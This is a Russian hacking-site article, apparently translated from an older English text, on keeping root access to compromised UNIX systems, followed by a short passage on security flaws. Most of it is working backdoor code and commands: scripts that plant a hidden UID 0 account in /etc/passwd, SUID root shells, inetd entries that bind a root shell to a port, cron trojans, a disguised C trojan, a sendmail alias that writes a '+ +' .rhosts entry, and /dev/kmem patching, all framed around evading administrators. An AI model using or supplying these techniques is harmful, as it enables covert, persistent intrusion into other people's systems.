SITE LOGO Воскресенье, 22.12.2024, 19:46
Приветствую Вас Гость | RSS
Меню сайта

Разделы новостей
Основы [9]
Хакинг [5]
Руководство для начинающих [6]
Взлом UNIX [9]
Взлом Microsoft Windows 2000 [12]
Хакерские трюки [36]
Программы [6184]

Наш опрос
Оцените мой сайт
Всего ответов: 579

Начало » 2007 » Май » 17 » Как удержаться на уровне root
Как удержаться на уровне root
В этой главе описывается, как удержаться на уровне корня, и она будет полезна как для хакеров, так и для администраторов.

Предупреждение: Выясните расположение главных системных файлов. Это вам необходимо (если вы не можете вспомнить хотя бы некоторые из них, прекратите чтение данной главы, полистайте книгу о системе UNIX и после этого возвращайтесь к нам).

Ознакомьтесь с форматами файлов passwrd (включая обычных 7форматов, систему специальных имен, механизмы затенения и т.д.). Почитайте о vi. Создатели большинства систем не столь дружелюбно настроены по отношению к пользователю, как создатели UNIX Пико и Эмакс. Vi вам поможет быстро найти и при необходимости отредактировать очень большой файл. Если вы подсоединяетесь к системе дистанционно (dial-up\ telnet\ rlogin\ whatver), то для вас тем более важно иметь мощную программу терминала, обладающую вместительным буфером. Он пригодится вам в случае нужды вырезать, вставлять и копировать файлы и выполнять другие компьютерные программы.

Длительность этого нелегального доступа полностью зависит от опыта и мастерства администратора. Опытный и умелый администратор будет зорко следить за всеми нелегальными проникновениями в систему, а тот факт, что вам удалось приобрести корень, говорит о том, что администратор был недостаточно профессионален, или о том, что доступ был на какое-то время открыт.

Вы должны осознать следующее: если вы сумеете замести следы всамом начале взлома, то уже никто не сможет вычислить вас в дальнейшем.

Несколько банальностей:

(1)

Добавьте UID 0 к паролю файла. Возможно, это один из самых легких способов сообщить администратору о том, что вы в системе.

Если вы все же хотите это сделать, то вот вам совет — не нужно просто приписывать этот код к паролю файла.

Любой проверяющий моментально это заметит. Лучше впишите его посередине пароля…

#!/bin/csh

# Inserts a UID 0 account into the middle of the passwd file.

# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.

# daemon9@netcom.com

set linecount = `wc -l /etc/passwd`

cd # Do this at home.

cp /etc/passwd ./temppass # Safety first.

echo passwd file has $linecount[1] lines.

@ linecount[1] /= 2

@ linecount[1] += 1 # we only want 2 temp files

echo Creating two files, $linecount[1] lines each \ (or approximately that\ ).

split -$linecount[1] ./temppass # passwd string optional

echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa

cat ./xab >> ./xaa

mv ./xaa /etc/passwd

chmod 644 /etc/passwd # or whatever it was beforehand

rm ./xa* ./temppass

echo Done...

Никогда не изменяйте пароль корня. Причины, думаю, вам очевидны.

(2)

Точно таким же образом введите в действие такие уже непригодные аккаунты, как Sync. Или, возможно, другие, скрытые в файле паролей, забытые или отключенные системным администратором. Измените UID на 0 (и уберите “*” из второго поля).

(3)

Перегоните оболочку корня в /tmp:

#!/bin/sh

# Everyone's favorite...

cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...

chmod 4755 /tmp/.evilnaughtyshell

Многие системы чистят \ tmp по ночам. Чаще всего это осуществляется путем уничтожения файлов или занесения их в буфер. Во многих системах установлены пакеты, предохраняющие от запуска программ под SUID. Вы можете все это изменить, но даже если система примет изменения, то очень многие могут все же это заметить... Впрочем, это уже другой вопрос. Мы не станем уточнять параметры необходимых изменений, так как они могут варьироваться на разных системах.

(4)

Системный администратор не станет первым же делом заглядывать в конфигурационный файл хоста, так почему бы не загрузить этот демон туда?

Для начала немного общей информации: Internet-демон (\ etc\ inetd\ ) принимает запросы о связи с портами ТСР и UDP и перебрасывает нужную программу согласно поступившему запросу. Формат файла \ etc\ inetd.conf. прост.

Обычные его строки выглядят следующим образом:

(1) (2) (3) (4) (5) (6) (7)

ftp stream tcp nowait root /usr/etc/ftpd ftpd

talk dgram udp wait root /usr/etc/ntalkd ntalkd

Первое поле (1) — это название демона, указанное в \ etc\ services. Отсюда inetd считывает информацию о соответствующем поле в\ etc\ services и после этого устанавливает параметры связанного с данной программой порта.

Во втором поле содержится информация о типе службы доставки данных, необходимом для данной программы. ТСР использует stream (байт-ориентированный поток), тогда как UDP — dgrams (служба, ориентированная на транзакции). Третье поле — поле протоколов (ТСР или UDP). В четвертом поле указывается статус демона. Флаг wait означает, что демон перед продолжением прослушивания приходящих запросов вынужден будет ожидать, пока сервер освободит порт. nowait, в свою очередь, позволяет демону незамедлительно приступать к прослушиванию новых запросов. Пятое поле — это тот пользователь (или иногда UID), который управляет демоном. Поле (6) — это запускающаяся при соединении программа, а поле (7) содержит команды (и дополнительные аргументы). Часть программ (обычно не требующих вмешательства пользователя) сервер может перебрасывать по сети. Это осуществляется с помощью флага internal в строках (6) и (7). Таким образом, для того, чтобы самому установить нелегальный доступ к системе, выберите редко используемую программу и переадресуйте связующего демона к программе, создающей оболочку корня SUID, к программе, предоставляющей корневой аккаунт в файле \ etc\ passwd и так далее.

В качестве примера попробуйте следующее:

Откройте \ etc\ inted.conf, если это, конечно, возможно.

Найдите строку:

daytime stream tcp nowait root internal

и поменяйте ее на:

daytime stream tcp nowait /bin/sh sh -i

Теперь вновь откройте \ etc\ inetd\ и просмотрите файл конфигурации. Сами решите, как это сделать. Вы можете закончить процесс и запустить его снова (kill -9, /usr/sbin/inetd или /usr/etc/inetd), и таким образом прервать все связи в сети (особое удовольствие сделать это в час пик).

(5)

Своего рода компромиссным вариантом может стать установка новой программы, которая смогла бы запускать любую другую по вашему выбору. Лучше всего загрузить не чувствительную к несанкционированным подключениям оболочку.

Вы должны убедиться в том, что доступ индицируется как в\ etc\ services, так и в \ etc\ inetd.conf.

 

Формат \ etc\ services прост:

(1) (2)/(3) (4)

smtp 25/tcp mail

(1) — функция, (2) — номер порта, (3) — тип протокола, необходимый для работы программы, (4) — название функции.

Попробуйте добавить такую строку к \ etc\ services:

evil 22/tcp evil

и такую к /etc/inetd.conf:

evil stream tcp nowait /bin/sh sh -i

Загрузите inetd.

Обратите внимание: такой нелегальный доступ в принципе весьма действенен. Он даст возможность использовать не только любой аккаунт локальной сети, но и предоставит любой аккаунт любого компьютера свыходом в Internet.

(6) Cron-трояны I

Cron — это замечательная утилита для администрирования. Она также может быть использована для того, чтобы нелегально войти в систему, если, конечно корневой crontab работает исправно. И опять же нелишне напомнить, что продолжительность работы нелегально созданного аккаунта находится в обратной зависимости от опытности и профессионализма системного администратора. Обычно список корневых файлов crontab находится в /var/spool/cron/crontabs/root. Здесь у вас есть выбор. Мы перечислим только некоторые из возможных решений, так как на самом деле их количество огромно.

cron — это временной демон. Он представляет собой утилиту, выполняющую команды, связанные с датами и временем.

crontab — это команда, пересматривающая и дополняющая ваши файлы crontab. Управлять crontab так же легко, как и редактировать /var/spool/crontab/root.

Файл crontab состоит из шести полей:

(1) (2) (3) (4) (5) (6)

0 0 * * 1 /usr/bin/updatedb

Поля с 1 по 5 означают: минута (0-59), час (0-23), день месяца (1-31), месяц года (1-12), день недели (0-6). Поле 6 — это выполняемая команда (или сценарий оболочки). Сценарий оболочки из вышеприведенного примера используется только по понедельникам. Для запуска cron просто добавьте вход в /var/spool/crontab/root. Например, у вас есть задание для cron, которое должно ежедневно запускаться и отслеживать в файле /etc/passwd предварительно помещенный туда аккаунт UID 0 и восстанавливать его после удаления (неплохая идея — ввести код оболочки в сценарий оболочки в уже установленном файле crontab, тем самым вы можете себя в значительной степени обезопасить).

Добавьте такую строку в /var/spool/crontab/root:

0 0 * * * /usr/bin/trojancode

А вот и сценарий оболочки:

#!/bin/csh

# Is our eviluser still on the system? Let's make sure he is.

#daemon9@netcom.com

set evilflag = (`grep eviluser /etc/passwd`)

if($#evilflag == 0) then # Is he there?

set linecount = `wc -l /etc/passwd`

cd # Do this at home.

cp /etc/passwd ./temppass # Safety first.

@ linecount[1] /= 2

@ linecount[1] += 1

# we only want 2 temp files

split -$linecount[1] ./temppass

# passwd string optional

echo "EvilUser::0:0:Mr. Sinister:

/home/sweet/home:/bin/csh" >> ./xaa

cat ./xab >> ./xaa

mv ./xaa /etc/passwd

chmod 644 /etc/passwd

# or whatever it was beforehand

rm ./xa* ./temppass

echo Done...

else

endif

(7) Cron-трояны II

Этот троян попал в поле моего зрения благодаря нашему дорогому мистеру Зиппи. Для того, чтобы его (трояна) запустить, вам необходимо отыскать скрытую копию файла etc/passwd. В этом спрятанном файле (назовем его /var/spool/mail/.sneaky) заведем еще один вход с корневым аккаунтом и с паролем на ваш выбор. Вводим задание для cron, который, например, будет каждую ночь в 2.30 (или в любое другое время) сохранять копию настоящего \ etc\ passwd файла и активизировать при этом троянскую версию данного файла сроком на одну минуту (сверьте часы!). В это время любой обычный пользователь, попытавшийся зарегистрироваться в системе или открыть файл пароля, не сможет этого сделать, тогда как ровно через минуту он не встретит никаких препятствий на своем пути.

Добавьте эту строку к корневому файлу crontab:

29 2 * * * /bin/usr/sneakysneaky_passwd

и проверьте:

#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky

и вот очень простой сценарий оболочки:

#!/bin/csh

# Install trojan /etc/passwd file for one minute

#daemon9@netcom.com

cp /etc/passwd /etc/.temppass

cp /var/spool/mail/.sneaky /etc/passwd

sleep 60

mv /etc/.temppass /etc/passwd

(8) Генерирование кода трояна

Это очень просто. Вместо сценария оболочки используйте какой-нибудь С-код, и это поможет вам успешно замести следы. Вот как это делается.

Убедитесь в том, что ваш троян работает под корнем. Назовите его как-нибудь безобидно и хорошенько замаскируйте.

В ряде случаев небольшой троян может быть создан в SUID-оболочке при условии, что соблюдены определенные параметры. С-код в такой момент гораздо действеннее, нежели оболочка, и помогает лучше прятать результаты.

/* daemon9@netcom.com */

#include

#define KEYWORD "industry3"

#define BUFFERSIZE 10

int main(argc, argv)

int argc;

char *argv[];{

int i=0;

if(argv[1]){ /* we've got an argument, is it the keyword? */

if(!(strcmp(KEYWORD,argv[1]))){

/* Это уже троян */

system("cp /bin/csh /bin/.swp121");

system("chown root /bin/.swp121");

system("chmod 4755 /bin/.swp121");

}

}

/* Put your possibly system specific trojan

messages here */

/* Let's look like we're doing something... */

printf("Sychronizing bitmap image records.");

/* system("ls -alR / >& /dev/null > /dev/null&"); */

for(;i<10;i++){

fprintf(stderr,".");

sleep(1);

}

printf("\ nDone.\ n");

return(0);

} /* End main */

(9) Файл-псевдоним в sendmail

Этот файл дает возможность отправлять почту на имя одного или нескольких пользователей или подключиться к самой программе. Для таких файлов существует очень известный троян uudecode. Просто добавьте строку:

"decode: "|/usr/bin/uudecode"

в файл /etc/aliases. При это вам следует создавать файл uuencoded.rhosts с полным указанием его месторасположения.

#! /bin/csh

# Create our .rhosts file. Note this will output to stdout.

echo "+ +" > tmpfile

/usr/bin/uuencode tmpfile /root/.rhosts

Затем адресуйтесь к нужному сайту, порт 25. Отправьте “липовое” письмо, используя uuencode-версию файла .rhosts. В одной из строк (настоящей) напечатайте следующее:

%echo "+ +" | /usr/bin/uuencode /root/.rhosts |
mail decode@target.com

И теперь можете дать волю своему воображению. Придумывайте себе псевдоним, пишите письма кому хотите, запускайте любые программы. Многие из описанных выше методов сейчас могут найти себе применение.

(10) Скрытый Троян в обычных программах

Это не самый лучший метод, но зато его следы могут быть обнаружены только такими программами, как tripwire.

Идея проста: вживить трояна в наиболее часто и широко используемую программу. Для нас особенно важны программы su, login и passwrd, так как они идут под корнем и к ним не надо переустанавливать разрешения. Ниже мы приведем несколько примеров на разные случаи, чтобы вы почувствовали всю прелесть взлома системы UNIX. (Примечание: Это не всегда проходит, так как некоторые поставщики не столь беспечны, как большинство других). Если код покажется вам очень длинным или просто не нравится, мы предлагаем вам общий шаблон, этакую болванку:

Подключаемся

Если подключиться не удается, запускаем вирус

Если все идет, как надо, то не останавливаемся на полпути

Выходим с ошибкой

Не слишком трудно. Данный тип трояна может включать в себя менее 10-ти строк дополнительного кода.

(11) Эзотерический: использование \ dev\ khem

Сейчас мы погрузимся в святая святых системы. Так как параметры ядра находятся в памяти машины, то, следовательно, модифицирование памяти компьютера может привести к изменению UID. Чтобы это сделать, удостоверьтесь, что к \ dev\ khem установлен доступ для чтения/записи. И далее по пунктам: открыть \ dev\ khem, найти вашу страничку в памяти, переписать UID, затем запустить csh, который и поменяет ваш UID. Эта программа проделывает следующее.

/* Если \ khem доступен для чтения и для записи, то с помощью этой программы можно установить и пользовательский, и групповой ID к0. */

#include

#include

#include

#include

#include

#include

#include

#define KEYWORD "nomenclature1"

struct user userpage;

long address(), userlocation;

int main(argc, argv, envp)

int argc;

char *argv[], *envp[];{

int count, fd;

long where, lseek();

if(argv[1]){ /* we've got an argument, is it the keyword? */

if(!(strcmp(KEYWORD,argv[1]))){

fd=(open("/dev/kmem",O_RDWR);

if(fd<0){

printf("Cannot read or write to /dev/kmem\ n");

perror(argv);

exit(10);

}

userlocation=address();

where=(lseek(fd,userlocation,0);

if(where!=userlocation){

printf("Cannot seek to user page\ n");

perror(argv);

exit(20);

}

count=read(fd,&userpage,sizeof(struct user));

if(count!=sizeof(struct user)){

printf("Cannot read user page\ n");

perror(argv);

exit(30);

}

printf("Current UID: %d\ n",userpage.u_ruid);

printf("Current GID: %d\ n",userpage.g_ruid);

userpage.u_ruid=0;

userpage.u_rgid=0;

where=lseek(fd,userlocation,0);

if(where!=userlocation){

printf("Cannot seek to user page\ n");

perror(argv);

exit(40);

}

write(fd,&userpage,((char *)&(userpage.u_procp)) ((char *)&userpage));

execle("/bin/csh","/bin/csh", "-i",(char *)0, envp);

}

}

} /* End main */

#include

#include

#include

#define LNULL ((LDFILE *)0)

long address(){

LDFILE *object;

SYMENT symbol;

long idx=0;

object=ldopen("/unix",LNULL);

if(!object){

fprintf(stderr,"Cannot open /unix.\ n");

exit(50);

}

for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){

if(!strcmp("_u",ldgetname(object,&symbol)))

{

fprintf(stdout,"User page is at 0x%8.8x\ n",symbol.n_value);

ldclose(object);

return(symbol.n_value);

}

}

fprintf(stderr,"Cannot read symbol table in /unix.\ n");

exit(60);

}

(12)

С тех пор как описанный выше код на основе /dev/kmem стал общеизвестным, что, естественно, нас совершенно не радует, нам постоянно приходится быть начеку и использовать его с максимальной осторожностью.

Мой вам совет — напишите сценарий оболочки по образцу (7), чтобы на время (допустим, на 5 минут) изменить разрешения, установленные к /dev/kmem, а затем вернуть их значения обратно.

Добавьте эти строки к шаблону из пункта (7):

chmod 666 /dev/kmem

sleep 300 # Nap for 5 minutes

chmod 600 /dev/kmem # Or whatever it was beforeГлава 6.
Дефекты в системе безопасности

Дефекты в системе безопасности бывают нескольких видов:

Физические дефекты

В этом случае проблема состоит в возможности получения нелегального доступа к системе и, как последствия, компьютерного хулиганства и вандализма. Вот вам хороший пример — сетевая рабочая станция, которая при отсутствии должных предосторожностей может быть переведена взломщиком в режим single-user (единичного пользователя) с одновременным уничтожением всей файловой системы.

Еще один пример — обеспечение сохранности конфиденциальной информации на различных носителях, которые, несмотря на установленные к файлам разрешения, вполне могут быть прочитаны любым пользователем системы, имеющим доступ к соответствующему сегменту диска.

Дефекты программного обеспечения

Здесь основная проблема заключается в ошибках в “привилегированных” программах (демоны, установки для cron), чьи функции могут быть задействованы при взломе системы. Самый известный пример — это “sendmail debug”, который позволяет хакеру запускать корневую оболочку. При этом может быть удалена файловая система, создан новый аккаунт, скопирован файл passwrd, короче, все, что только можно придумать (вопреки общему мнению, взлом, аналогичный sendmail, не ограничивается только небезызвестным “Internet Worm”, это вполне осуществимо и при запуске telnet через 25 порт атакуемого компьютера.

Новые “дыры” в системе безопасности появляются чуть ли не ежедневно, поэтому самое лучшее, что вы можете сделать, это:

а) постараться структурировать свою систему таким образом, чтобы даже самые незначительные программы работали только под привилегиями root/daemon/bin, а если существует необходимость прописать софт под других пользователей, то убедитесь, что их аккаунты не поддаются взлому.

b) подпишитесь на рассылку, где публикуется информация об интересующих вас проблемах, и таким образом вы сможете вовремя отреагировать на обнаруженный дефект.

 

При установке/обновлении данной системы старайтесь устанавливать/делать запускаемыми только действительно необходимые вам программы, которые нужны вам сейчас или которыми вы точно станете пользоваться. Многие пакеты содержат демоны и утилиты, позволяющие посторонним лицам считывать информацию. К примеру, пакет AT&T System V Unix включает в себя программу acctcom(1), в которой установки по умолчанию предоставляют одному пользователю свободный доступ к учетным данным другого. Многие пакеты ТСР/IP автоматически инсталлируют/запускают такие программы, как rwhod, fingerd и <иногда> tftpd, использование которых может повлечь за собой серьезные проблемы с обеспечением безопасности системы.

Решение этих проблем заключается в тщательно продуманном администрировании системы. Большинство подобных программ инициализируется/запускается во время начальной загрузки; вы можете изменить сценарии начальной загрузки (обычно расположенные в каталогах /etc, /etc/rc, /etc/rcX.d) для предотвращения их запуска. Вы также можете просто удалить некоторые из этих программ. Для ряда утилит предотвратить несанкционированный запуск может простая команда chmod(1).

Категория: Взлом UNIX | Просмотров: 2072 | Добавил: hack-zone | Рейтинг: 0.0 |
Всего комментариев: 0
Имя *:
Email *:
Код *:
Форма входа

Календарь новостей
«  Май 2007  »
ПнВтСрЧтПтСбВс
 123456
78910111213
14151617181920
21222324252627
28293031

Поиск по новостям

Друзья сайта

Статистика

Copyright MyCorp © 2006Бесплатный конструктор сайтов - uCoz